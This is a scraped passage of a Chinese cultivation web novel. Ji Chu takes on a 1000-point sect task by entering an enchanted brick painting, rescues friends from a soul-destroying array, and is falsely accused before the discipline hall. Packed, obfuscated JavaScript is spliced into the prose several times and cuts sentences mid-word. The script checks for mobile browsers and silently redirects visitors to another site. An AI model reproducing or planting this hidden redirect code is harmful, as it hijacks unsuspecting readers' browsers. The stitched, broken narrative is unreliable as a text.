“把他的分数抢了,剩下九百分我们后面再想办法。” 陈梧:所以他果然还是混入了一个“邪恶组织”吧! 后来这个方案还是被纪楚否了。 毕竟陈梧与她有前世“借剑”的恩情在,没到走投无路的时候,还不至于对他下手。 陈梧很艰难地接受了纪楚真的只是顺路带他来吃顿火锅的事实。 他的头脑疯狂转动,试图提出点有用的建议,以显得自己不是那么“庸碌可欺”。 在“邪恶组织随时会对自己下手”的高压下,他还真就想到了一样东西: “焚巫祭神图!” 三双眼睛齐齐转向他,看得陈梧心里一阵紧张。 纪楚好奇询问:“这是什么东西?我没听过哎。” 许盈:“我也没有,从没在明务堂见过。” 被两人这么一说,陈梧一时结巴起来: “我……我其实也不太确定,只是偶尔听见明务堂师姐提过一次,这个任务好像没有修为限制,分数也很高,似乎有一千分……” 他越说声音越小,从来都是隐形透明人的他第一次被人这么目不转睛地盯着,十分不自在。 “一千分!” 许盈险些被吃的呛到: “明务堂竟然有一千分的任务?我怎么从来没见过?” 纪楚显然也十分震惊: “还有这种好事?” 许盈激动地握住她的手: “纪楚,拿下它!必须拿下它!” 她转向陈梧: “怎么才能领到这个任务?直接去明务堂要吗?” 陈梧担心自己说错了话,白白叫他们期待,急忙又说道: “我也只是听说的,具体也不太清楚……” 纪楚便说: “没关系的,有消息总比一头雾水强。谢谢陈师弟!” 陈梧清秀的脸一下子变成红色,急忙摆手: “不……不客气的……” 动作幅度太大,还不小心带翻了旁边的水杯,他又连声道歉,手忙脚乱地去擦水。 许盈被他这副害羞的模样逗乐,松开纪楚的手,笑道: “陈师弟,你怎么变红了啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074463|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她长的漂亮,又故意调侃调笑的语气。陈梧的脸顿时变得更红,头顶也开始冒气,低着头不敢说话。 纪楚没想到自己一句道谢能把人吓成这样,急忙也去帮他,陈梧的动作明显变得更慌张了。 蒋成旭看了看许盈,又看了看低着头一脸窘迫的陈梧,挑了挑眉,开口道: “焚巫祭神图,我也听说过。” 纪楚和许盈的注意力被他吸引过来。 陈梧终于可以在角落一个人默默把水擦干了。 他感激地看了一眼蒋成旭,对方冲他扬了扬下巴,一脸“小事不言谢”,随后转向许盈,继续道: “我知道的和陈师弟差不多。按照明务堂设置任务的习惯,高分又不限制修为,却直到现在都无人完成,只能说明任务足够危险,并且——” 纪楚和许盈对视一眼:“完成任务需要的东西,和修为无关。” * 这天夜里纪楚入定的时候,脑子里全是“焚巫祭神图”的事。 孟喻辞一如既往在她入定后出现,只在她出错时出言提醒两句,使用的方式还是神识干扰,直接以心声的方式出现在她脑海里。 纪楚心不在焉又习以为常,一度以为是自己在心里和自己对话,于是自顾自念叨起来: “别唠叨静心凝神了,纪楚啊纪楚,清醒一点,现在有更重要的事情需要你来操心了。” 脑海里那道声音沉默下去。 诡异的安静中,纪楚忽然反应过来,顿时一惊: “啊前辈,我不是说你,我不是这个意思……对不起!我马上就专心!” 孟喻辞“嗯”了一声,听不出喜怒。 但这种没有情绪的回应反而带给人更加明显的压迫感。 纪楚敏锐地察觉到“这位前辈”寡言冷淡中透出的几分不好惹,一时间不敢继续胡思乱想,盯着经脉图的表情格外凝重,活像是在参加什么“危及性命”的考试,效率倍增。 过了许久,她已明显开始精力不支,调动灵力的速度也慢了下来,孟喻辞这才开口: “有什么更重要的事?” 这便是今日修行终于可以结束的信号了! 纪楚一下子开心起来: “焚巫祭神图,这个任务可以加一千分呢!” 她摩挲双手一脸期待: “如果我能完成的话,直接就可以参加问仙大会,再也不用去喂兔子了!” 她本想从前辈这里打听一些这个任务的相关信息,对方却无情泼下一盆冷水: “你完成不了。” 纪楚脸上的开心立马僵住,下意识反驳: “你凭什么这么说?” 她的语气显得有些没礼貌,但孟喻辞并不在意,只道: “你心思简单,入世不深,此图不适合你。” 他若说什么“这任务需要超高的修为”,纪楚或许还会重新考虑一下。 但“心思简单、入世不深”,这难道不是在阴阳她“又傻又天真”吗? 纪楚十分不忿。 她前世确实又傻又蠢才会死得那么惨,但她现在可是重活一世的人,比其他人多了不知道多了多少经验阅历,怎么可能和“傻”沾边? 这位前辈人虽好,却是个没眼光的。 纪楚强忍着心底的不满,只说了句“多谢前辈提醒,我去试试就知道了”,然后立马结束了入定。 神识收回,孟喻辞无声叹息。 原来自己这挂名师妹不止胆大,还是个劝不住的犟种。 11. 第 11 章 纪楚原以为价值一千分的任务,明务堂怎么都得慎重再三的。 没想到她刚说出“焚巫祭神图”几个字,对方就从身后翻出一块方形石砖,头也不抬地递给了她。 纪楚捧着块砖头,有点摸不着头脑: “这任务没什么要求吗?比如什么时候完成、怎么才算完成之类的?” 明务堂的弟子闻言笑了笑: “你还真以为自己能完成啊?” 她这话倒不是看不起纪楚,只是单纯觉得她的问题天真好笑。 “焚巫祭神图”这个任务已经在明务堂积压了许多年,每年都有弟子提出要尝试。 但不论是眼馋这“一千分”的,还是好奇想一探究竟的,不分修为高低,全都铩羽而归。 时间长了,大家都知道这任务不可能完成,“一千分”的诱惑也显得越发干巴,尝试的弟子就变少了。 不过少归少,分数放在那,年轻弟子中总有不信邪的,或是同人打赌,或是走投无路,都会想来试试。 那么多人都失败了,明务堂的弟子并不觉得纪楚有什么特别的,还安慰她道: “玩够了再还回来就行,失败了也别有心理负担。” 纪楚:“……谢谢师姐。” 她抱着砖回了小院。 许盈和蒋成旭有别的事,但还是抽空帮她搜集了许多“焚巫祭神图”相关的信息,基本上都是以前挑战过的弟子的讲述: “里面的凡人真的特别奇怪,讲道理根本讲不通,又不能跟他们动手,一不小心把人杀了就会被弹出去,气死我了,我反正是不会再试了。” “野蛮人干野蛮事,毁灭吧,救不了。” “好好一个上古神族怎么落得这种境地,看得我都快道心破碎了……” 纪楚将信息一个个翻过去,只能知道这任务的核心与远古时期一个名叫“巫觋”的种族有关。 传闻“巫觋”本是神族,但不知因何缘由被神族流放到了人界,还背上了“一生孤苦不得善终”的诅咒。 这个族群外貌与人族相似,天生可以听见神意、预知吉凶。一直游走于人界,帮人族规避灾祸,祝祷祈福。 但后来不知怎的,又被人族视作不详,反被驱逐。 后来这个种族就消失了,有人说是避世不出,也有人说是全族覆灭。总之,世间再没听说过“巫觋族”的消息。 纪楚和面前的石砖眼对眼。 石砖有些年份了,兴许比纪楚年纪还大,摸着和普通的砖没有区别。 侧面裂纹不算平整,像是被人暴力砸断。 反面的刻痕纹路模糊不清,隐约摸着像朵花。 正面绘有彩色砖画,因为砖石断裂,只能看到一部分的图案。 虽不如新画清晰,却还是能明显看出来,画的是一群人跪地祈祷的样子。 画中人朝着一个方向跪下,他们前面是一座高台,上面堆着一堆木头。 一人举着火把,在高台前说着什么,仰头看天,神态恭敬。 想来这幅砖画,就是所谓的“焚巫祭神图”了。 纪楚忽然意识到,明务堂弟子只将石砖交给了她,并没有说任务内容是什么,甚至她连怎么才算任务开始都不知道。 她一头雾水,两手举起石砖来回翻看。 这砖举着还挺沉,纪楚便将其放回到了桌子上。 阳光顺着树叶的缝隙移动到她头顶上,砖画上被阳光照映到的地方,举着火把的人仿佛在透过天穹看向画外。 某个瞬间,纪楚觉得自己仿佛和那画中人对上了视线。 她心中下意识一惊,眼前的砖画忽而开始扭曲变形,随后她整个人瞬间被吸进了砖画里。 * 纪楚从天而降,摔了个结结实实。 幸而她没有直接落地,而是砸到了一户人家的茅草屋顶上,又借机滚了几圈作为缓冲,这才没有当场摔死。 不过她也没能好到哪去,茅草屋顶被她直接砸出了个大洞,草木飞扬,尘土四起,她和漫天飘起的茅草同时现身,和门口端着水盆的陌生女子面面相觑。 “对不起,我不是故意的。” 纪楚顶着一身的茅草试图解释: “我可以帮你修房顶。” 端着盆的女子显然被这从天而降的人吓了一跳,盆里的水洒了一大半。 听见纪楚的话后,她的表情一下子变得阴冷。 伴随着剩下的半盆水,一个冷酷无情的“滚”字砸到了纪楚脸上。 纪楚顿时成了脏兮兮的落汤鸡。 她第一反应就是暴怒,但很快意识到是自己先毁了对方的屋子,被甩脸也很正常。 于是她忍着不爽站起来,抬手擦了擦脸上的水,十分憋屈地走了出去。 拿着空水盆穿着绛蓝色褂子的女子全程面色不善地盯着她,直到纪楚出了房门,背后那道冷冰冰的视线才移开。 纪楚在心里盘算。 这人态度这么差,八成就是师兄师姐们提到的“讲不通道理的凡人”。 说不定每个进来做任务的弟子都会被泼水然后被骂走,并不是针对她,纯粹是砖画里这人素质差,她没必要生气。 纪楚点点头,成功安慰了自己。 她漫无目的地走了会儿,发现除了那一间茅草屋以外,再没其他人的痕迹。 纪楚很快又捡了点木头返回。 先前那女子正在房前固定支架。 房顶还没补好,散落的茅草已经被收集起来。 只是她一个人,没法将固定着茅草的支架移到房顶上去,显得有些无助。 见着纪楚,她的目光再次变得不善,举起手里的刀: “你又来干什么?” “毕竟是我砸坏了你的房顶,所以想做点什么弥补一下。” 纪楚将木头放到地上: “我找不到你家这样的茅草,所以捡了点木头回来,你看看能不能用。” 那女子举着刀,看也不看地上的木头,只道: “用不上!滚!” 纪楚:“那……我帮你把支架放上去——” 回应她的是迎面挥来的砍刀。 纪楚及时躲开,砍刀劈了个空。 “你有病吧?!” 她彻底忍不住了: “我不是故意的,而且我都说了我只是想道歉,你不想要帮忙就算了,动刀干什么?!” 那女子张口又想说话,忽然脸色一变,自怀中取出个布缝的人形娃娃摔在地上。 布娃娃落地的一瞬间生出五官,在场的纪楚和那女子一起被吸进了娃娃里。 天穹及四周山林转眼间被布料笼罩,隐约给人以空气压抑不流通的滞涩感,甚至可以看到粗棉布放大后的纹理。 砍刀架在她脖子上,对方的声音从身后传来: “闭嘴!否则我杀了你!” 纪楚微微仰头,调整呼吸,感觉到布娃娃藏在木头堆里,外面有很多人影来回走动。 “没找到,难道是跑了?” “他xx的……山里竟还藏着个巫觋族的祸害!” “她跑不远,搜!一定得把她找出来!” 布娃娃外面脚步声纷乱,布娃娃内的两人盯着纷乱的人影沉默。 安静片刻后,纪楚问身后那人: “你是巫觋族人?” 架在她脖子上的砍刀逼近,对方的声音带着显而易见的警惕: “你和他们是一伙的!你……” 她话说了一半,语调忽然一变,猛地凑近她后颈: “你身上怎么有——” 整个空间忽然剧烈摇晃起来,藏在角落的布娃娃被人发现,锄头朝布娃娃头颈处砸下: “厌胜!这是那巫女的东西!” 棉布撑起的空间迅速压缩,布料的纹路被尖锐沉重的锄头压着朝纪楚两人靠近。 身后那女子惊慌之下,手中砍刀不受控制用力,割上纪楚咽喉—— 独特的纹路自纪楚衣领下缓缓显现,花瓣层叠铺开,其上却遍布裂痕,戾气与绝望横生。 纪楚身后的女子看到这一幕,目露惊恐。 纪楚全然不知她看到了什么。 在危险发生的同时,她握拳,曲肘朝后重重一撞,巧妙脱离了对方的挟制。 随后急忙朝一侧翻滚,躲开了锄头从天而降的一砸。 布娃娃被锄头砍成两半,厌胜之术破解,纪楚和那女子一齐现身。 纪楚下意识捂住了自己的脖子。 方才后颈处忽然传来一阵刺痛,如针扎一般,压得她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后再次举起面前的石砖,盯着画中人的眼睛,将石砖对着阳光晃了晃,成功又被吸了进去。 这回她有了准备,没有掉到房顶上,而是稳稳落在院子里。 端着盆的姚蝉被她吓了一跳,神色警惕:“你是谁?” 纪楚单刀直入: “马上就有人来抓你,我们快跑吧!” …… 一刻钟后,纪楚再次被绑到了木架上。 听着台下一群人高呼“天降甘露庇佑世间”的时候,纪楚问姚蝉: “你为什么不信我?” 姚蝉:“骗子!你们人族都是骗子!” 纪楚:“……算了。” 火焰已经燎上两人的裙摆,她换了话题: “什么叫有人送我花?你在我身上看到什么花了吗?是什么样的花?” 姚蝉用看神经病的目光看着她。 下一瞬,纪楚再次被弹出了砖画。 连续两次失败,她虽谈不上多失落,挫败总还是有的。 纪楚躺在地上不想动,原地摆了个舒服的姿势,直接入定。 孟喻辞来时便见她“席地而躺”,两手交叉放在腹部,双目紧闭,神色安详,一副“走”了很久的样子。 不用问就知道,定是在“焚巫祭神图”中折戟而归。 察觉到他的神识出现,纪楚一下子翻身坐起来: “前辈!您来了!” 她语气充满期待,一双眼睛亮晶晶的,给孟喻辞一种她一直在等他的错觉。 “我等您好久了!” 纪楚又说。 孟喻辞沉默几息,道: “何事?” 纪楚闻言站了起来,示意他看她动作: “前辈您快看我。” 因为不知道他的神识在哪个位置,纪楚便在原地转了一圈,确保他能看清她周身和容貌,然后问道: “前辈您看看,我脸上有花吗?” 12. 第 12 章 纪楚仰着脸,一脸认真地说出这句话。 孟喻辞:“……” 他抬眸看向纪楚面容。 入定空间漆黑一片,纪楚的经脉映在虚空,浅金色的灵力在其中运转流淌,连出一片星辰,将中间站着的身影笼在星光中央。 她眸光清亮,一双眼睛又黑又圆,衬得下巴尖尖、身形纤纤。 两颊上带点婴儿肥,一张尚未完全长开的美人面,稚气未脱,灵动可爱。 是很容易让人喜欢的模样。 孟喻辞几乎以为纪楚在耍他。 他的目光冷而无情,沉默地审视着纪楚。 好在纪楚很快意识到自己这问题问的奇怪,连忙补充了一句: “还有我身上其他地方,尤其是脖子……” 她先是甩了甩头,像是在测试有没有落枕,衣襟随着她的动作略微松散开,露出颈侧光洁的皮肤。 漆黑的发丝贴在雪白的颈子上,对比鲜明到有些耀眼,不少发丝被卷进后领中。 纪楚越动,反而卷进更多,蓬乱地堆在衣领上,像个蓬松的蘑菇头。 她浑然不觉,又开始撸袖子,检查自己的手臂。 眼看就有把自己全身都查一遍的架势,一边还说着: “会不会有我自己看不到的花?也不一定非得是花,可能是妖气、魔气什么的?又或者是和别人不太一样的毛病?” 孟喻辞又想叹气。 但他只是收回视线,语气淡漠: “没有。” 纪楚:“太好了!” 她原本担心自己中了薛羡尘的算计,身上沾染了什么东西,这才引起了姚蝉的注意。 但前辈都说没有,那肯定是没有。 她对这位素未谋面的前辈很是信任。 纪楚于是完全放下心来,忍不住多说了几句: “幸好还有前辈您能帮我看看,不然我要想好多天都想不明白……那天师兄师姐们说的没错,焚巫祭神图里的人都好奇怪,根本没法正常沟通……” 说着,她又警惕抬头看了眼虚空,对着不知道在哪个地方的孟喻辞的神识说: “前辈您不要再想着劝我放弃了,我肯定不会放弃的。” 孟喻辞道: “嗯。” 纪楚终于满意,起身准备修复自己的经脉。 却听见他问了句: “为何不找你师尊?” 似乎是问她为什么不去找师尊询问“花”的事。 纪楚回答说: “前辈您有所不知,我虽记名在掌门名下,平时却都是跟着沈师叔修行,掌门师尊那么忙,肯定不会管我这种别人家养的徒弟。至于沈师叔嘛……” 她停顿,脸上露出那种厌烦却又无法改变只能忍着的表情: “他才不会管这种小事。” 这话里怨气很足。 孟喻辞看她片刻,又问: “他待你不好?” 纪楚垂头看向一边,飞快地翻了个白眼,阴阳怪气: “挺好的,还教我弹琴呢。” 边说边以五指模拟弹拨琴弦的手势,伸手拨拉着自己的经脉,将运转有序的灵力打成一团散。 她暗中翻白眼的动作自然没有逃过孟喻辞的眼睛。 他虽觉得不雅观,却也难得没有说些什么,语气没什么起伏地“嗯”了一声,仿佛只是随口一问。 纪楚反而不太高兴了。 她觉得自己这心态很奇怪。 若是前辈听出了她话里的“言外之意”,继续追问“为什么”,她或许会觉得厌烦和“被冒犯”,兴许还会没礼貌地添上一句“关你屁事”。 但他没有听出来,默认了沈恪对她“不错”,她又觉得憋屈得要死。 偏偏这答案还是她自己说的,好像是她在为沈恪说好话似的。 怎么想都不高兴。 纪楚满脸写着“我很不爽”,对孟喻辞道: “我忽然想起来有事没做,前辈晚上再来吧。” 孟喻辞不置可否。 纪楚本就因为沈恪的事不高兴,刚结束入定,又从传音玉里听见了沈恪的声音: “现在来广玄峰练琴……” 纪楚果断用身边的石砖将传音玉盖住,装作没收到消息。 虽说她不会放弃“焚巫祭神图”,但这一千分确实不好拿。 想要参加问仙大会的话,还得再想想其他办法。 纪楚掰着指头算了算自己差的分数,良心在巨大分数差中逐渐消失,再次想起了手握“五十分”的陈梧。 “整整五十分啊……” 她将传音玉从石砖下面拿出来,输入灵力。 对面传来陈梧颤巍巍的声线: “纪师姐……救命!” 纪楚“蹭”地站起来,对面传来一阵杂乱的声音,好像是传音玉摔到了地上。 过了一会儿,传音玉里才又传来说话声。 “纪楚。”蒋成旭的声音透着焦急:“我们遇到麻烦了。” * 没等纪楚昧着良心去抢,陈梧的那个价值五十分的捉鬼任务就已经出了岔子。 找鬼的过程十分轻松,他绕着闹鬼的屋子转了一圈,便从床底下的箱子里发现了这只叫“葛二”的鬼。 葛二的鬼魂都快散了,躲在“铁英砂”里才得以暂存。 铁英砂是仙门铸剑必不可少的材料,这葛二本也是给拂宇仙宗送铁英砂的人,不知怎的,竟死在了山下。 箱子里还有满满一袋灵石,装灵石的储物袋来自拂宇仙宗内门弟子,说明这葛二已经见过了拂宇仙宗来采购的弟子。 钱财已付,货物却还留在这里。 陈梧隐约觉得不对劲,正巧遇上来寻丢失的“铁英砂”的许盈和蒋成旭二人。 三人一碰面便知事有蹊跷。 因为宗门里负责收购这一批“铁英砂”的人,就是前些日子死去的炼器堂弟子——袁复。 袁复的尸体被人发现在炼器堂,他的储物袋却留在山下,甚至和他交易的人也死了。 纪楚当日被指控为杀了袁复,虽然后来澄清了误会,真凶却还未寻到。 如今看来,葛二恐怕和此事脱不开干系。 可惜葛二的鬼魂离体太久,眼看快要魂飞魄散,根本无法说出完整的句子。 三人什么都问不出来,又怕等不及回宗门,便想试试摆出“聚魂阵”,或许能将葛二的魂魄凑齐,问个清楚。 谁知刚画出阵法,就被孔回端打断了。 孔回端是沈恪门下弟子,年轻弟子一辈中术法修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阵法中央的葛二的鬼魂开始消散。 陈梧一惊,下意识就伸手去拽。 可他修为太低,根本稳不住身形,和葛二的残魂一起被拉进了阵心。 蒋成旭又急忙去拉陈梧,被扯着朝阵心处滑了几步,勉强稳住身形。 葛二的鬼魂被灭魂阵死死吸着,怎么都拽不出来。 蒋成旭冲陈梧喊: “松开那只鬼!” 陈梧先是摇头: “不行,他知道凶手是谁,可以为纪师姐作证!” 而后他意识到自己这样只会连累蒋成旭,又想松手时,却发现自己怎么都松不开那只鬼爪了。 陈梧声音哆嗦: “我体质太阴,被阵法吸住了。蒋师兄,你松手吧……” 蒋成旭平时十分好说话,此刻却紧抿着唇一言不发,仍拽着他没松手。 葛二的残魂几乎被阵法炼化,鬼气散了许多,灭魂阵转而开始攻击陈梧。 他直觉拉着葛二鬼魂的右手开始发麻发凉,有种灵魂被碾碎的痛,整个人不受控制般朝阵心又移了过去。 “松开我吧……” 看见蒋成旭被他带着朝阵心滑了几步,陈梧十分想哭。 忽然,他手腕上又多了一只手。 许盈甩开孔回端阻止她的动作,飞身而来及时拉住陈梧: “少他x放屁!是男人就给我抓紧了!” 她和蒋成旭死死拽着陈梧,谁也不肯松手。 孔回端见着这一幕气的要死,却又得顾忌玉葫芦里的东西,只能冲许盈喊道: “蠢货!你要和他们一起死吗?” 13. 第 13 章 千钧一发之际,纪楚终于到了。 她收到消息就立马出发,还用上了两辈子都没能学精通的御剑飞行术,一路晃得随时都会掉下去,却始终没有减速。 隔老远就看见一处地方煞气冲天,杀气最重的阵法中心,陈梧被一个几乎不成人形的鬼魂扯着,许盈和蒋成旭又拉着陈梧,三人一起被吸在阵法上。 救人为要。 纪楚持剑蓄力,朝葛二和陈梧相连的地方砍去。 这一剑下去,葛二的残魂必然承受不住,魂飞魄散也未可知。 许盈情急之下惊呼出声: “纪楚!他可能知道凶手!” “……” 纪楚双目紧盯着阵心,剑锋擦着葛二残魂而过,只犹豫了一瞬,整个人随后主动冲向阵心。 想救下陈梧他们,又得保住葛二的残魂,除非能直接将这灭魂阵劈了。 但她知道自己灵力不足,贸然冲进阵心,非但一剑劈不开这阵,还会将自己也陷进去。 于是纪楚将灵力全灌进剑刃的同时,还额外加上了几道出门前临时翻出来的攻击灵符,一同压入灭魂阵阵心。 灵力和阵心爆发出巨大的冲击,激起一片阴雾,葛二居住的房屋院墙抵挡不住这份冲撞威力,齐刷刷朝外倾塌。 一时间尘土砖石飞溅,中间还夹杂着灵符被催动的爆炸声。 许盈几人急忙调用灵力护体。 试图用灵力修补玉葫芦的孔回端反应不及,腰间玉葫芦碎裂成渣,一缕幽暗气息瞬间消散无踪。 他的脸色当即变得难看至极。 因为玉葫芦里装着的,是薛晚凝的一缕魂息。 远处房屋纷纷亮起了灯,许多人被这巨大的动静吵醒,闻声而来。 执律堂的人自然也被惊动了。 * “简直荒诞!” 严堂主听见消息的时候还以为自己听错了。 “为了救鬼差点死了”,“为了救人又把房子炸了”,多稀罕啊。 他看向纪楚: “破阵就破阵,为何要用风雷符?连院墙都炸了,你好大的胆子啊!” 纪楚:“我随手拿的,不知道里面夹着一张风雷符。” 她说的是实话,走的匆忙自然是有什么带什么,眼看陈梧都要被灭魂阵一起灭了,哪有功夫检查灵符啊。 但事情闹大了,她这解释就显得格外敷衍。 孔回端还在一旁添油加醋: “严堂主明鉴,我一早便知他们学艺不精,这才阻止他们画聚魂阵,谁料果然还是出了岔子。” 许盈快被气死: “你少放屁!要不是你挑事,我们早把葛二的魂聚好了,说不定连杀死袁复的凶手都知道了!你有什么脸在这哔哔赖赖?!” 孔回端被她骂的没脸: “好歹相识一场,我只是不忍看你误入歧途。” 他的目光从陈梧身上略过: “你这么激动,是又看上这个小白脸了?” 陈梧一下子急了: “这位师兄,你怎么能……这样说话?” 他说话速度慢声音小,轻易被孔回端压下去: “许盈,看看你都喜欢些什么废物?挑脸的时候,也挑挑其他的吧!” 许盈顿时暴怒,恨不得自己当初从未认识过这人。 蒋成旭上前一步挡住她: “孔回端,上次比试你输得那么惨,我还以为你已经不会乱说话了。” 孔回端脸色几变: “你——” “够了!都给我闭嘴!” 眼看他们又快打起来,严堂主忍无可忍,重重一拍桌子: “像什么样子?!你们出门在外就是这样代表拂宇仙宗的脸面的?!” 几人顿时安静下来,但是谁也不服气,全都咬着牙沉着脸。 严堂主瞪他们: “在外面没打够,打算继续打是吗?” 他又连着拍了几下桌子: “弟子私下斗殴该当何罪?!你们全都不知道是吗?放跑魔物危害凡间,你们担得起责任吗?!” 在场中人唯有孔回端知道,那带着魔气的东西根本不是什么魔物,而是沈恪亲自用聚魂灯聚起的薛晚凝的残魂。 沈恪耗费数十年才勉强聚起心爱之人的一缕残魂,上头竟带了魔气。 沈恪只恐是魔族作祟,因而将消息瞒了下来,分出残魂一息,暗中派他前去调查。 不料,竟被纪楚和许盈打碎法器,丢了魂息。 孔回端心中惊惧交加,哪敢将真相公之于众,只能默认那东西是他捕捉回来的魔物。 又恐沈恪斥责他办事不力,只能紧急拉出一个垫背的。 于是他果断伸手指向纪楚: “堂主,是她故意用灵符攻击我,才导致魔物出逃。” 说完,他又假惺惺补充: “当然此事也有我的过错,早知师妹心中有忿,却未行劝解之责,这才酿出大祸。” 矛头忽然又指向自己,纪楚疑惑: “我为何要故意攻击你?我只是要破阵。” 许盈道: “就是!孔回端,分明是你自己修为太低本事太差,才会连一个受伤的魔物都看不住,话本子看多了,真当自己是清清白白一枝花,竟然有脸怪别人?” 孔回端:“你——” 蒋成旭和陈梧连连点头: “没错没错……” 孔回端被他们四个对上,直觉自己势单力薄。 但他无论如何不能叫残魂的事情被人发现,又害怕事后承担沈恪的怒火,只能抵死不认。 他一路走来很是艰难,好不容易得了沈恪的信任重用,却忽然又冒出个纪楚。 分明不是沈恪的徒弟,却能得他亲自教导,在广玄峰处处压他一头。 如今,竟还连累得他犯下大错! 而这纪楚,分明修为平平,性格乖戾,干什么什么不行的废物,偏偏有一张酷似薛晚凝的脸,便可以有恃无恐地张狂。 凭什么呢? 孔回端想。 既然她本来就是靠这张脸和沈恪的喜欢才能留在拂宇仙宗,想必这些名声和指摘对她而言也造不成什么危害。 孔回端于是说道: “因为你憎恨师父对你严苛,所以行事无状,处处与广玄峰为难,前些日子还砸了师父赐你的琴。今日知晓我是奉师命办事,便蓄意破坏,借着破阵的机会放跑魔物。” “更何况,袁复之死本也牵扯进了你,如过葛二真的魂飞魄散,便再也查不出凶手。谁知道是不是师妹故意为之?” 他一脸义正辞严: “纪师妹,虽然你并非师父的徒弟,但同在师父座下修行,我实在不忍看你继续错下去,这才多说了些。” 许盈几个人闻言炸了起来,争着为她解释和反驳。 纪楚却沉默了。 孔回端的指摘全是胡言乱语,她本该反驳。 但前世次次被人诬陷次次无法辩白的惯性仍保留着,让她在被人无端指责时的第一反应仍是绝望和无力。 她不知道为什么,明明重生回来,她已经阻止了沈恪向执律堂传话,这些人还是会不由分说地污蔑她。 为什么? 面对她眼里的质问,孔回端心虚了一瞬间。 他避开纪楚的视线: “我已传信给师父,你若还有什么想解释的,便同师父说吧。” 他自认已经替纪楚考虑得够多了。 放走魔物一事可大可小,往大了说是勾连魔族背叛宗门,往小了也只是一时失手无意为之。 纵使执律堂认定纪楚“心生怨怼蓄意报复”,师父也一定会保下纪楚的。 毕竟,她长了这张脸,不是吗? 最多不过是挨几鞭子跪上几天,她还是被师父放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074466|179322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心坎上的弟子。 想到这些,孔回端的头又抬了几寸。 他完全不担心纪楚会反驳。 因为沈恪一定会为了薛晚凝,将真相压下来。 在他这位师父心里,是非对错和真相,全都比不上薛晚凝。 而纪楚此前又是砸琴又是当众反驳沈恪的行为简直帮了他大忙。说她“怀恨在心”,简直再合理不过。 * 沈恪赶到执律堂,一眼便看到了站在最中央的纪楚。 他先前已经收到了孔回端的消息,知道晚凝的魂息出了事。 事关晚凝,他本该亲力亲为,只是涉及魔气,未免引人怀疑,这才叫最为信任的孔回端借“除魔”之名调查。 谁知孔回端如此废物,竟连一缕魂息都保不住! 好在脑子尚算清醒,没能叫旁人发现端倪。 沈恪忍下心中不悦,走到严堂主面前,温和笑道: “弟子无状,是我管教不力之过。” 说罢,转身对纪楚道: “还不认错领罚?” 纪楚仰头看他: “孔师兄所言皆为污蔑,弟子要认什么错?” 这已经是纪楚第二次当众顶撞他了。 孔回端急忙看向沈恪,便见沈恪双眸眯起,声音虽还温和,却丝毫不给纪楚辩解的机会: “污蔑?以风雷符破阵者是否为你?击碎法器者是否为你?严堂主与我何处污蔑了你?” 纪楚直视着他,眼睛里是攒了两世的愤恨和质问: “我从来都没有勾连魔族,师叔执意如此断定,是想将我逐出师门,还是就地处死?” 沈恪有一瞬间的失神。 这张脸太像薛晚凝。 可薛晚凝向来温婉,说话总是轻声细语,不会有纪楚这样愤愤不平的神情。 他原本十分讨厌纪楚不同于薛晚凝的地方,一心想将她塑造成他喜欢的样子。 可如今看着纪楚,心里却莫名浮现出初见她的时候。 那时的她比现在矮很多,纵使差点被妖兽吃掉,也一脸倔强不屈的模样。 其实他救她,也并非全然因为这张脸。 想到这里,沈恪不由得放缓了语气: “纪楚,我知你并无害人之心。” “你若还念着我的教导之恩,就老实认错,只小惩大诫,有我在此,无人敢将你除名……” 他的话让严堂主有些不悦。 弟子犯错,本该由执律堂判定惩处。如今事态未明,沈恪便三言两语做了结论,简直不把他执律堂放在眼里。 但他没想到,反倒是纪楚先开口了。 “师叔不必为我徇私。” 她在严堂主面前跪下: “弟子放走魔物,自知罪孽深重,已无颜留在宗门。自愿除名离宗,从此不再是拂宇仙宗弟子。” “纪楚!” “你疯了!” 执律堂内顿时炸开了锅。 许盈几人简直不敢相信自己听见了什么。 沈恪面上亦有不可置信: “纪楚,你这是何意?” 纪楚取下弟子腰牌,双手呈给严堂主,并不回答他的话,只垂眸道: “弟子勾连魔族罪不可赦,请堂主秉公处理,将弟子逐出宗门。” 严堂主拧眉,张口想说什么时,忽然惊诧地看向执律堂门口,声音都变了调: “你怎么……” 空气似乎停滞了几息。 纪楚低着头,不知道发生了什么,只觉得有寒凉之气自身后而来,清冷的风裹挟着剑气掠过她身侧。 随后一道雪色衣袍停在她身前,如霜堆雪。 对方身上传来的寒气萦绕在她周身,将她整个人都笼罩在这份足以隔绝一切的清寒剑意中。 冷峻沉寂的声音自头顶传来,似寒玉雪峰顶端的月色,冷而疏离。 “你要离宗?” 14. 第 14 章 纪楚想过这一世她和师兄的初见。 